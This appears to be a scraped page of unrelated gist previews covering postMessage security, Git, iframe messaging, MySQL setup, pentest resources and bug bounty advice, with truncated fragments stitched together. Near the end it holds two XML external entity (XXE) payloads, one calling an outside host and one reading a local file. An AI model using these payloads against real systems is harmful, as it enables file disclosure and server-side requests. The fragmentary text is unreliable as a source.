Pranav Hivarekar pranav1hivarekar

Security-Reviewing Uses of `postMessage()`

The postMessage() API is an HTML5 extension that permits string message-passing between frames that don't share the same origin. It is available in all modern browsers. It is not supported in IE6 and IE7.

postMessage is generally considered very secure as long as the programmer is careful to check the origin and source of an arriving

Git

Global Settings

Related Setup: https://gist.github.com/hofmannsven/6814278
Related Pro Tips: https://ochronus.com/git-tips-from-the-trenches/
Interactive Beginners Tutorial: http://try.github.io/
Git Cheatsheet by GitHub: https://services.github.com/on-demand/downloads/github-git-cheat-sheet/

Reminder

Press minus + shift + s and return to chop/fold long lines!

Two way iframe communication

The main difference between the two pages is the method of sending messages. Recieving messages is the same in both.

Parent

Send messages to iframe using iframeEl.contentWindow.postMessage Recieve messages using window.addEventListener('message')

iframe

Multiple MySQL Versions for Development

Options included below:

Using Docker docker-compose
Using Homebrew brew

Using Docker (recommended)

This gist was originally created for Homebrew before the rise of Docker, yet it may be best to avoid installing mysql via brew any longer. Instead consider adding a barebones docker-compose.yml for each project and run docker-compose up to start each project's mysql service.

Penetrating Testing/Assessment Workflow & other fun infosec stuff

https://github.com/jivoi/pentest

My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*

Reconnaissance
- Passive/Semi-Passive
  - Tools
Discover - https://github.com/leebaird/discover

Bug Bounty FAQ

A list of questions that bounty hunters frequently DM me about. 😄

How do I get started with bug bounty hunting? How do I improve my skills?

I have a simple philosophy that I share with everyone:

Learn to make it. Then break it!
Read books. Lots of books.

	package org.ossandme;

	import javax.ws.rs.*;

	@Path("/{userid}/comments/{title}/feed")
	public interface CommentResource {

	@GET
	public String retrieveComment(@PathParam("userid") String userID, @PathParam("title") String title);

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

	#!/usr/bin/python
	#
	# Copyright 2017 Otto Seiskari
	# Licensed under the Apache License, Version 2.0.
	# See http://www.apache.org/licenses/LICENSE-2.0 for the full text.
	#
	# This file is based on
	# https://github.com/swagger-api/swagger-ui/blob/4f1772f6544699bc748299bd65f7ae2112777abc/dist/index.html
	# (Copyright 2017 SmartBear Software, Licensed under Apache 2.0)
	#

	<!DOCTYPE scan [
	<!ENTITY test SYSTEM "target.xml">
	]><scan>&test;</scan>